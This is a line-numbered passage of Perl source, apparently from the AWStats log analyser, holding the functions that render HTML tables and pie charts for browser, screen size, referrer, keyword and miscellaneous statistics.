15909	my $rest_p = $Totalp - $total_p;
15910	if ( $rest_h > 0 ) {
15911		my $p_p;
15912		my $p_h;
15913		if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; }
15914		if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; }
15915		print "<tr>";
15916		print "<td>&nbsp;</td>";
15917		print
15918"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_p)."</td>";
15919		print "<td>$p_p %</td><td>".Format_Number($rest_h)."</td><td>$p_h %</td></tr>\n";
15920	}
15921	&tab_end();
15922}
15923
15924#------------------------------------------------------------------------------
15925# Function:     Prints the Browsers chart and table
15926# Parameters:   $NewLinkParams, $NewLinkTarget
15927# Input:        -
15928# Output:       HTML
15929# Return:       -
15930#------------------------------------------------------------------------------
15931sub HTMLMainBrowsers{
15932	my $NewLinkParams = shift;
15933	my $NewLinkTarget = shift;
15934
15935	if ($Debug) { debug( "ShowBrowsersStats", 2 ); }
15936	print "$Center<a name=\"browsers\">&nbsp;</a><br />\n";
15937	my $Totalh        = 0;
15938	my $Totalp        = 0;
15939	my %new_browser_h = ();
15940	my %new_browser_p = ();
15941  BROWSERLOOP: foreach my $key ( keys %_browser_h ) {
15942		$Totalh += $_browser_h{$key};
15943		$Totalp += $_browser_p{$key};
15944		foreach my $family ( keys %BrowsersFamily ) {
15945			if ( $key =~ /^$family/i ) {
15946				$new_browser_h{"${family}cumul"} += $_browser_h{$key};
15947				$new_browser_p{"${family}cumul"} += $_browser_p{$key};
15948				next BROWSERLOOP;
15949			}
15950		}
15951		$new_browser_h{$key} += $_browser_h{$key};
15952		$new_browser_p{$key} += $_browser_p{$key};
15953	}
15954	my $title =
15955"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) &nbsp; - &nbsp; <a href=\""
15956	  . (
15957		$ENV{'GATEWAY_INTERFACE'}
15958		  || !$StaticLinks
15959		? XMLEncode("$AWScript${NewLinkParams}output=browserdetail")
15960		: "$StaticLinks.browserdetail.$StaticExt"
15961	  )
15962	  . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\""
15963	  . (
15964		$ENV{'GATEWAY_INTERFACE'}
15965		  || !$StaticLinks
15966		? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser")
15967		: "$StaticLinks.unknownbrowser.$StaticExt"
15968	  )
15969	  . "\"$NewLinkTarget>$Message[0]</a>";
15970
15971
15972    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
15973       # extend the title to include the added link
15974           $title .= " &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
15975               "$AddLinkToExternalCGIWrapper" . "?section=BROWSER&baseName=$DirData/$PROG"
15976           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
15977           . "&siteConfig=$SiteConfig" )
15978           . "\"$NewLinkTarget>$Message[179]</a>");
15979    }
15980
15981	&tab_head( "$title", 19, 0, 'browsers' );
15982
15983	&BuildKeyList(
15984		$MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
15985		\%new_browser_h,           \%new_browser_p
15986	);
15987
15988	# Graph the top five in a pie chart
15989	if (scalar @keylist > 1){
15990		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
15991		{
15992			my @blocklabel = ();
15993			my @valdata = ();
15994			my @valcolor = ($color_p);
15995			my $cnt = 0;
15996			foreach my $key (@keylist) {
15997				push @valdata, int(  $new_browser_h{$key} / $TotalHits * 1000 ) / 10;
15998				if ($key eq 'Unknown'){push @blocklabel, "$key"; }
15999				else{
16000					my $keywithoutcumul = $key;
16001					$keywithoutcumul =~ s/cumul$//i;
16002					my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
16003					  || $keywithoutcumul;
16004					my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
16005					  || "notavailable";
16006					if ( $BrowsersFamily{$keywithoutcumul} ) {
16007						$libbrowser = "$libbrowser";
16008					}
16009					push @blocklabel, "$libbrowser";
16010				}
16011				$cnt++;
16012				if ($cnt > 4) { last; }
16013			}
16014			print "<tr><td colspan=\"5\">";
16015			my $function = "ShowGraph_$pluginname";
16016			&$function(
16017				"Top 5 Browsers",       "browsers",
16018				0, 						\@blocklabel,
16019				0,           			\@valcolor,
16020				0,              		0,
16021				0,          			\@valdata
16022			);
16023			print "</td></tr>";
16024		}
16025	}
16026	print
16027"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
16028	my $total_h = 0;
16029	my $total_p = 0;
16030	my $count = 0;
16031	foreach my $key (@keylist) {
16032		my $p_h = '&nbsp;';
16033		my $p_p = '&nbsp;';
16034		if ($Totalh) {
16035			$p_h = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10;
16036			$p_h = "$p_h %";
16037		}
16038		if ($Totalp) {
16039			$p_p = int( $new_browser_p{$key} / $Totalp * 1000 ) / 10;
16040			$p_p = "$p_p %";
16041		}
16042		if ( $key eq 'Unknown' ) {
16043			print "<tr><td"
16044			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
16045			  . "><img src=\"$DirIcons\/browser\/unknown.png\""
16046			  . AltTitle("")
16047			  . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>"
16048			  . "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"
16049			  . "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td></tr>\n";
16050		}
16051		else {
16052			my $keywithoutcumul = $key;
16053			$keywithoutcumul =~ s/cumul$//i;
16054			my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
16055			  || $keywithoutcumul;
16056			my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
16057			  || "notavailable";
16058			if ( $BrowsersFamily{$keywithoutcumul} ) {
16059				$libbrowser = "<b>$libbrowser</b>";
16060			}
16061			print "<tr><td"
16062			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
16063			  . "><img src=\"$DirIcons\/browser\/$nameicon.png\""
16064			  . AltTitle("")
16065			  . " /></td><td class=\"aws\">"
16066			  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
16067			  . "$libbrowser"
16068			  . ( $PageDir eq 'rtl' ? "</span>" : "" )
16069			  . "</td><td>"
16070			  . (
16071				$BrowsersHereAreGrabbers{$key}
16072				? "<b>$Message[112]</b>"
16073				: "$Message[113]"
16074			  )
16075			  . "</td><td>".Format_Number($new_browser_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p_h</td></tr>\n";
16076		}
16077		$total_h += $new_browser_h{$key};
16078		$total_p += $new_browser_p{$key};
16079		$count++;
16080	}
16081	if ($Debug) {
16082		debug( "Total real / shown : $Totalh / $total_h", 2 );
16083	}
16084	my $rest_h = $Totalh - $total_h;
16085	my $rest_p = $Totalp - $total_p;
16086	if ( $rest_h > 0 ) {
16087		my $p_p = 0.0;
16088		my $p_h;
16089		if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; }
16090		if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; }
16091		print "<tr>";
16092		print "<td>&nbsp;</td>";
16093		print
16094"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>&nbsp;</td><td>$rest_p</td>";
16095		print "<td>$p_p %</td><td>$rest_h</td><td>$p_h %</td></tr>\n";
16096	}
16097	&tab_end();
16098}
16099
16100#------------------------------------------------------------------------------
16101# Function:     Prints the ScreenSize chart and table
16102# Parameters:   -
16103# Input:        -
16104# Output:       HTML
16105# Return:       -
16106#------------------------------------------------------------------------------
16107sub HTMLMainScreenSize{
16108	if ($Debug) { debug( "ShowScreenSizeStats", 2 ); }
16109	print "$Center<a name=\"screensizes\">&nbsp;</a><br />\n";
16110	my $Totalh = 0;
16111	foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; }
16112	my $title =
16113	  "$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
16114	&tab_head( "$title", 0, 0, 'screensizes' );
16115	print
16116"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
16117	my $total_h = 0;
16118	my $count   = 0;
16119	&BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
16120		$MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
16121
16122	foreach my $key (@keylist) {
16123		my $p = '&nbsp;';
16124		if ($Totalh) {
16125			$p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10;
16126			$p = "$p %";
16127		}
16128		$total_h += $_screensize_h{$key} || 0;
16129		print "<tr>";
16130		if ( $key eq 'Unknown' ) {
16131			print
16132"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
16133			print "<td>$p</td>";
16134		}
16135		else {
16136			my $screensize = $key;
16137			print "<td class=\"aws\">$screensize</td>";
16138			print "<td>$p</td>";
16139		}
16140		print "</tr>\n";
16141		$count++;
16142	}
16143	my $rest_h = $Totalh - $total_h;
16144	if ( $rest_h > 0 ) {    # All others sessions
16145		my $p = 0;
16146		if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
16147		print
16148"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
16149		print "<td>" . ( $rest_h ? "$p %" : "&nbsp;" ) . "</td>";
16150		print "</tr>\n";
16151	}
16152	&tab_end();
16153}
16154
16155#------------------------------------------------------------------------------
16156# Function:     Prints the Referrers chart and table
16157# Parameters:   $NewLinkParams, $NewLinkTarget
16158# Input:        -
16159# Output:       HTML
16160# Return:       -
16161#------------------------------------------------------------------------------
16162sub HTMLMainReferrers{
16163	my $NewLinkParams = shift;
16164	my $NewLinkTarget = shift;
16165
16166	if ($Debug) { debug( "ShowOriginStats", 2 ); }
16167	print "$Center<a name=\"referer\">&nbsp;</a><br />\n";
16168	my $Totalp = 0;
16169	foreach ( 0 .. 5 ) {
16170		$Totalp +=
16171		  ( $_ != 4 || $IncludeInternalLinksInOriginSection )
16172		  ? $_from_p[$_]
16173		  : 0;
16174	}
16175	my $Totalh = 0;
16176	foreach ( 0 .. 5 ) {
16177		$Totalh +=
16178		  ( $_ != 4 || $IncludeInternalLinksInOriginSection )
16179		  ? $_from_h[$_]
16180		  : 0;
16181	}
16182
16183    my $title = "$Message[36]";
16184
16185    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
16186       # extend the title to include the added link
16187           $title .= " &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
16188               "$AddLinkToExternalCGIWrapper" . "?section=ORIGIN&baseName=$DirData/$PROG"
16189           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
16190           . "&siteConfig=$SiteConfig" )
16191           . "\"$NewLinkTarget>$Message[179]</a>");
16192    }
16193
16194	&tab_head( $title, 19, 0, 'referer' );
16195	my @p_p = ( 0, 0, 0, 0, 0, 0 );
16196	if ( $Totalp > 0 ) {
16197		$p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10;
16198		$p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10;
16199		$p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10;
16200		$p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10;
16201		$p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10;
16202		$p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10;
16203	}
16204	my @p_h = ( 0, 0, 0, 0, 0, 0 );
16205	if ( $Totalh > 0 ) {
16206		$p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10;
16207		$p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10;
16208		$p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10;
16209		$p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10;
16210		$p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10;
16211		$p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10;
16212	}
16213	print
16214	  "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
16215	if ( $ShowOriginStats =~ /P/i ) {
16216		print
16217"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
16218	}
16219	if ( $ShowOriginStats =~ /H/i ) {
16220		print
16221"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
16222	}
16223	print "</tr>\n";
16224
16225	#------- Referrals by direct address/bookmark/link in email/etc...
16226	print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
16227	if ( $ShowOriginStats =~ /P/i ) {
16228		print "<td>"
16229		  . ( $_from_p[0] ? Format_Number($_from_p[0]) : "&nbsp;" )
16230		  . "</td><td>"
16231		  . ( $_from_p[0] ? "$p_p[0] %" : "&nbsp;" ) . "</td>";
16232	}
16233	if ( $ShowOriginStats =~ /H/i ) {
16234		print "<td>"
16235		  . ( $_from_h[0] ? Format_Number($_from_h[0]) : "&nbsp;" )
16236		  . "</td><td>"
16237		  . ( $_from_h[0] ? "$p_h[0] %" : "&nbsp;" ) . "</td>";
16238	}
16239	print "</tr>\n";
16240
16241	#------- Referrals by search engines
16242	print "<tr"
16243	  . Tooltip(13)
16244	  . "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
16245	  . (
16246		$ENV{'GATEWAY_INTERFACE'}
16247		  || !$StaticLinks
16248		? XMLEncode("$AWScript${NewLinkParams}output=refererse")
16249		: "$StaticLinks.refererse.$StaticExt"
16250	  )
16251	  . "\"$NewLinkTarget>$Message[80]</a><br />\n";
16252	if ( scalar keys %_se_referrals_h ) {
16253		print "<table>\n";
16254		my $total_p = 0;
16255		my $total_h = 0;
16256		my $count = 0;
16257		&BuildKeyList(
16258			$MaxNbOf{'RefererShown'},
16259			$MinHit{'Refer'},
16260			\%_se_referrals_h,
16261			(
16262				( scalar keys %_se_referrals_p )
16263				? \%_se_referrals_p
16264				: \%_se_referrals_h
16265			)
16266		);
16267		foreach my $key (@keylist) {
16268			my $newreferer = $SearchEnginesHashLib{$key}
16269			  || CleanXSS($key);
16270			print "<tr><td class=\"aws\">- $newreferer</td>";
16271			print "<td>"
16272			  . (
16273				Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' ))
16274			  . "</td>";
16275			print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>";
16276			print "</tr>\n";
16277			$total_p += $_se_referrals_p{$key};
16278			$total_h += $_se_referrals_h{$key};
16279			$count++;
16280		}
16281		if ($Debug) {
16282			debug(
16283"Total real / shown : $TotalSearchEnginesPages / $total_p -  $TotalSearchEnginesHits / $total_h",
16284				2
16285			);
16286		}
16287		my $rest_p = $TotalSearchEnginesPages - $total_p;
16288		my $rest_h = $TotalSearchEnginesHits - $total_h;
16289		if ( $rest_p > 0 || $rest_h > 0 ) {
16290			print
16291"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
16292			print "<td>".Format_Number($rest_p)."</td>";
16293			print "<td> / ".Format_Number($rest_h)."</td>";
16294			print "</tr>\n";
16295		}
16296		print "</table>";
16297	}
16298	print "</td>\n";
16299	if ( $ShowOriginStats =~ /P/i ) {
16300		print "<td valign=\"top\">"
16301		  . ( $_from_p[2] ? Format_Number($_from_p[2]) : "&nbsp;" )
16302		  . "</td><td valign=\"top\">"
16303		  . ( $_from_p[2] ? "$p_p[2] %" : "&nbsp;" ) . "</td>";
16304	}
16305	if ( $ShowOriginStats =~ /H/i ) {
16306		print "<td valign=\"top\">"
16307		  . ( $_from_h[2] ? Format_Number($_from_h[2]) : "&nbsp;" )
16308		  . "</td><td valign=\"top\">"
16309		  . ( $_from_h[2] ? "$p_h[2] %" : "&nbsp;" ) . "</td>";
16310	}
16311	print "</tr>\n";
16312
16313	#------- Referrals by external HTML link
16314	print "<tr"
16315	  . Tooltip(14)
16316	  . "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
16317	  . (
16318		$ENV{'GATEWAY_INTERFACE'}
16319		  || !$StaticLinks
16320		? XMLEncode("$AWScript${NewLinkParams}output=refererpages")
16321		: "$StaticLinks.refererpages.$StaticExt"
16322	  )
16323	  . "\"$NewLinkTarget>$Message[80]</a><br />\n";
16324	if ( scalar keys %_pagesrefs_h ) {
16325		print "<table>\n";
16326		my $total_p = 0;
16327		my $total_h = 0;
16328		my $count = 0;
16329		&BuildKeyList(
16330			$MaxNbOf{'RefererShown'},
16331			$MinHit{'Refer'},
16332			\%_pagesrefs_h,
16333			(
16334				( scalar keys %_pagesrefs_p )
16335				? \%_pagesrefs_p
16336				: \%_pagesrefs_h
16337			)
16338		);
16339		foreach my $key (@keylist) {
16340			print "<tr><td class=\"aws\">- ";
16341			&HTMLShowURLInfo($key);
16342			print "</td>";
16343			print "<td>"
16344			  . Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' ))
16345			  . "</td>";
16346			print "<td>".Format_Number($_pagesrefs_h{$key})."</td>";
16347			print "</tr>\n";
16348			$total_p += $_pagesrefs_p{$key};
16349			$total_h += $_pagesrefs_h{$key};
16350			$count++;
16351		}
16352		if ($Debug) {
16353			debug(
16354"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
16355				2
16356			);
16357		}
16358		my $rest_p = $TotalRefererPages - $total_p;
16359		my $rest_h = $TotalRefererHits - $total_h;
16360		if ( $rest_p > 0 || $rest_h > 0 ) {
16361			print
16362"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
16363			print "<td>".Format_Number($rest_p)."</td>";
16364			print "<td>".Format_Number($rest_h)."</td>";
16365			print "</tr>\n";
16366		}
16367		print "</table>";
16368	}
16369	print "</td>\n";
16370	if ( $ShowOriginStats =~ /P/i ) {
16371		print "<td valign=\"top\">"
16372		  . ( $_from_p[3] ? Format_Number($_from_p[3]) : "&nbsp;" )
16373		  . "</td><td valign=\"top\">"
16374		  . ( $_from_p[3] ? "$p_p[3] %" : "&nbsp;" ) . "</td>";
16375	}
16376	if ( $ShowOriginStats =~ /H/i ) {
16377		print "<td valign=\"top\">"
16378		  . ( $_from_h[3] ? Format_Number($_from_h[3]) : "&nbsp;" )
16379		  . "</td><td valign=\"top\">"
16380		  . ( $_from_h[3] ? "$p_h[3] %" : "&nbsp;" ) . "</td>";
16381	}
16382	print "</tr>\n";
16383
16384	#------- Referrals by internal HTML link
16385	if ($IncludeInternalLinksInOriginSection) {
16386		print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
16387		if ( $ShowOriginStats =~ /P/i ) {
16388			print "<td>"
16389			  . ( $_from_p[4] ? Format_Number($_from_p[4]) : "&nbsp;" )
16390			  . "</td><td>"
16391			  . ( $_from_p[4] ? "$p_p[4] %" : "&nbsp;" ) . "</td>";
16392		}
16393		if ( $ShowOriginStats =~ /H/i ) {
16394			print "<td>"
16395			  . ( $_from_h[4] ? Format_Number($_from_h[4]) : "&nbsp;" )
16396			  . "</td><td>"
16397			  . ( $_from_h[4] ? "$p_h[4] %" : "&nbsp;" ) . "</td>";
16398		}
16399		print "</tr>\n";
16400	}
16401
16402	#------- Referrals by news group
16403	#print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
16404	#if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:"&nbsp;")."</td><td>".($_from_p[5]?"$p_p[5] %":"&nbsp;")."</td>"; }
16405	#if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:"&nbsp;")."</td><td>".($_from_h[5]?"$p_h[5] %":"&nbsp;")."</td>"; }
16406	#print "</tr>\n";
16407
16408	#------- Unknown origin
16409	print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
16410	if ( $ShowOriginStats =~ /P/i ) {
16411		print "<td>"
16412		  . ( $_from_p[1] ? Format_Number($_from_p[1]) : "&nbsp;" )
16413		  . "</td><td>"
16414		  . ( $_from_p[1] ? "$p_p[1] %" : "&nbsp;" ) . "</td>";
16415	}
16416	if ( $ShowOriginStats =~ /H/i ) {
16417		print "<td>"
16418		  . ( $_from_h[1] ? Format_Number($_from_h[1]) : "&nbsp;" )
16419		  . "</td><td>"
16420		  . ( $_from_h[1] ? "$p_h[1] %" : "&nbsp;" ) . "</td>";
16421	}
16422	print "</tr>\n";
16423	&tab_end();
16424
16425	# 0: Direct
16426	# 1: Unknown
16427	# 2: SE
16428	# 3: External link
16429	# 4: Internal link
16430	# 5: Newsgroup (deprecated)
16431}
16432
16433#------------------------------------------------------------------------------
16434# Function:     Prints the Key Phrases and Keywords chart and table
16435# Parameters:   $NewLinkParams, $NewLinkTarget
16436# Input:        -
16437# Output:       HTML
16438# Return:       -
16439#------------------------------------------------------------------------------
16440sub HTMLMainKeys{
16441	my $NewLinkParams = shift;
16442	my $NewLinkTarget = shift;
16443
16444	if ($ShowKeyphrasesStats) {
16445		print "$Center<a name=\"keyphrases\">&nbsp;</a>";
16446	}
16447	if ($ShowKeywordsStats) {
16448		print "$Center<a name=\"keywords\">&nbsp;</a>";
16449	}
16450	if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; }
16451	if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16452		print
16453		  "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
16454	}
16455	if ($ShowKeyphrasesStats) {
16456
16457		# By Keyphrases
16458		if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16459			print "<td width=\"50%\" valign=\"top\">\n";
16460		}
16461		if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); }
16462		&tab_head(
16463"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
16464			  . (
16465				$ENV{'GATEWAY_INTERFACE'}
16466				  || !$StaticLinks
16467				? XMLEncode("$AWScript${NewLinkParams}output=keyphrases")
16468				: "$StaticLinks.keyphrases.$StaticExt"
16469			  )
16470			  . "\"$NewLinkTarget>$Message[80]</a>",
16471			19,
16472			( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
16473			'keyphrases'
16474		);
16475		print "<tr bgcolor=\"#$color_TableBGRowTitle\""
16476		  . Tooltip(15)
16477		  . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
16478		my $total_s = 0;
16479		my $count = 0;
16480		&BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
16481			$MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
16482		foreach my $key (@keylist) {
16483			my $mot;
16484
16485  # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
16486			if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
16487				$mot = CleanXSS(
16488					DecodeKey_decodeutfkeys(
16489						$key, $PageCode || 'iso-8859-1'
16490					)
16491				);
16492			}
16493			else { $mot = CleanXSS( DecodeEncodedString($key) ); }
16494			my $p;
16495			if ($TotalKeyphrases) {
16496				$p =
16497				  int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
16498			}
16499			print "<tr><td class=\"aws\">"
16500			  . XMLEncode($mot)
16501			  . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
16502			$total_s += $_keyphrases{$key};
16503			$count++;
16504		}
16505		if ($Debug) {
16506			debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
16507		}
16508		my $rest_s = $TotalKeyphrases - $total_s;
16509		if ( $rest_s > 0 ) {
16510			my $p;
16511			if ($TotalKeyphrases) {
16512				$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
16513			}
16514			print
16515"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
16516			print "<td>$p&nbsp;%</td></tr>\n";
16517		}
16518		&tab_end();
16519		if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16520			print "</td>\n";
16521		}
16522	}
16523	if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16524		print "<td> &nbsp; </td>";
16525	}
16526	if ($ShowKeywordsStats) {
16527
16528		# By Keywords
16529		if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16530			print "<td width=\"50%\" valign=\"top\">\n";
16531		}
16532		if ($Debug) { debug( "ShowKeywordsStats", 2 ); }
16533		&tab_head(
16534"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
16535			  . (
16536				$ENV{'GATEWAY_INTERFACE'}
16537				  || !$StaticLinks
16538				? XMLEncode("$AWScript${NewLinkParams}output=keywords")
16539				: "$StaticLinks.keywords.$StaticExt"
16540			  )
16541			  . "\"$NewLinkTarget>$Message[80]</a>",
16542			19,
16543			( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
16544			'keywords'
16545		);
16546		print "<tr bgcolor=\"#$color_TableBGRowTitle\""
16547		  . Tooltip(15)
16548		  . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
16549		my $total_s = 0;
16550		my $count = 0;
16551		&BuildKeyList( $MaxNbOf{'KeywordsShown'},
16552			$MinHit{'Keyword'}, \%_keywords, \%_keywords );
16553		foreach my $key (@keylist) {
16554			my $mot;
16555
16556  # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
16557			if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
16558				$mot = CleanXSS(
16559					DecodeKey_decodeutfkeys(
16560						$key, $PageCode || 'iso-8859-1'
16561					)
16562				);
16563			}
16564			else { $mot = CleanXSS( DecodeEncodedString($key) ); }
16565			my $p;
16566			if ($TotalKeywords) {
16567				$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
16568			}
16569			print "<tr><td class=\"aws\">"
16570			  . XMLEncode($mot)
16571			  . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
16572			$total_s += $_keywords{$key};
16573			$count++;
16574		}
16575		if ($Debug) {
16576			debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
16577		}
16578		my $rest_s = $TotalKeywords - $total_s;
16579		if ( $rest_s > 0 ) {
16580			my $p;
16581			if ($TotalKeywords) {
16582				$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
16583			}
16584			print
16585"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
16586			print "<td>$p %</td></tr>\n";
16587		}
16588		&tab_end();
16589		if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16590			print "</td>\n";
16591		}
16592	}
16593	if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16594		print "</tr></table>\n";
16595	}
16596}
16597
16598#------------------------------------------------------------------------------
16599# Function:     Prints the miscellaneous table
16600# Parameters:   -
16601# Input:        -
16602# Output:       HTML
16603# Return:       -
16604#------------------------------------------------------------------------------
16605sub HTMLMainMisc{
16606	if ($Debug) { debug( "ShowMiscStats", 2 ); }
16607	print "$Center<a name=\"misc\">&nbsp;</a><br />\n";
16608	my $title = "$Message[139]";
16609	&tab_head( "$title", 19, 0, 'misc' );
16610	print
16611	  "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
16612	print "<th width=\"100\">&nbsp;</th>";
16613	print "<th width=\"100\">&nbsp;</th>";
16614	print "</tr>\n";
16615	my %label = (
16616		'AddToFavourites'           => $Message[137],
16617		'JavascriptDisabled'        => $Message[168],
16618		'JavaEnabled'               => $Message[140],
16619		'DirectorSupport'           => $Message[141],
16620		'FlashSupport'              => $Message[142],
16621		'RealPlayerSupport'         => $Message[143],
16622		'QuickTimeSupport'          => $Message[144],
16623		'WindowsMediaPlayerSupport' => $Message[145],
16624		'PDFSupport'                => $Message[146]
16625	);
16626
16627	foreach my $key (@MiscListOrder) {
16628		my $mischar = substr( $key, 0, 1 );
16629		if ( $ShowMiscStats !~ /$mischar/i ) { next; }
16630		my $total = 0;
16631		my $p;
16632		if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; }
16633		if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; }
16634		if ( $MiscListCalc{$key} eq 'hm' ) {
16635			$total = $_misc_h{'TotalMisc'} || 0;
16636		}
16637		if ($total) {
16638			$p =
16639			  int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
16640				  1000 ) / 10;
16641		}
16642		print "<tr>";
16643		print "<td class=\"aws\">"
16644		  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
16645		  . $label{$key}
16646		  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
16647		if ( $MiscListCalc{$key} eq 'v' ) {
16648			print "<td>"
16649			  . Format_Number(( $_misc_h{$key} || 0 ))
16650			  . " / ".Format_Number($total)." $Message[12]</td>";
16651		}
